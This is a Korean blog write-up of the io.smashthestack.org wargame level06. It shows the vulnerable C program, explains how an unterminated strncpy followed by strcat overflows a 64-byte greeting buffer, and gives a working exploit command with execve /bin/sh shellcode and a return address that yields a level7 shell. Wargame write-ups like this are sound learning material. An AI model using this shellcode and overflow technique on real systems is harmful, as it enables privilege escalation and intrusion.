티스토리 뷰

//written by bla
//inspired by nnp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

enum
{
	LANG_ENGLISH,
	LANG_FRANCAIS,
	LANG_DEUTSCH,
};

int language = LANG_ENGLISH;

struct UserRecord
{
	char name[40];
	char password[32];
	int id;
};

void greetuser(struct UserRecord user)
{
	char greeting[64];

	switch (language)
	{
		case LANG_ENGLISH:
			strcpy(greeting, "Hi "); break;
		case LANG_FRANCAIS:
			strcpy(greeting, "Bienvenue "); break;
		case LANG_DEUTSCH:
			strcpy(greeting, "Willkommen "); break;
	}

	strcat(greeting, user.name);
	printf("%s\n", greeting);
}

int main(int argc, char **argv, char **env)
{
	if (argc != 3) 
	{
		printf("USAGE: %s [name] [password]\n", argv[0]);
		return 1;
	}

	struct UserRecord user = { 0 };
	strncpy(user.name, argv[1], sizeof(user.name));
	strncpy(user.password, argv[2], sizeof(user.password));

	char *envlang = getenv("LANG");
	if (envlang)
	if (!memcmp(envlang, "fr", 2))
		language = LANG_FRANCAIS;
	else if (!memcmp(envlang, "de", 2))
		language = LANG_DEUTSCH;

	greetuser(user);
}


예전에 풀어놓은걸 포스팅 하는거라 생각은 잘 생각은 안나지만...


Overflow인줄 알고 보니 greeting이 64인데 name, password가 각각 64바이트가 넘지 않는다..

그래서 이것저것 해보던 중에 어쩌다 발견한 취약점.


	strncpy(user.name, argv[1], sizeof(user.name));
	strncpy(user.password, argv[2], sizeof(user.password));

name, password를 각각 sizeof로 받는데, 40바이트 32바이트를 모두 받아버림. 여기서 name을 40바이트 모두 줘버리면 40바이트마지막에 있는 NULL-BYTE가 지워져버려서 name과 password가 합쳐저 버린다. 메모리 릭이라고 불림 (name이 72가 돼버린다고 생각할 수 있음) 그래서 64바이트인 greeting변수를 Overflow시킬 수 있다.


level6@io:/levels$ ./level06 `python -c 'print "\x90" * 15 + "\x31\xc0\x50\x68\x2f \x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + " " + "\x90" * 26 + "\x5c\xfe\xff\xbf"'` Bienvenue 1?h//shh/bin??° ?\þy¿ sh-4.2$ whoami level7 sh-4.2$ id uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006 (level6),1029(nosu)




'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level08  (0) 2015.01.04
[io.smashthestack.org] level07  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
[io.smashthestack.org] level04  (0) 2015.01.04
[io.smashthestack.org] level03  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함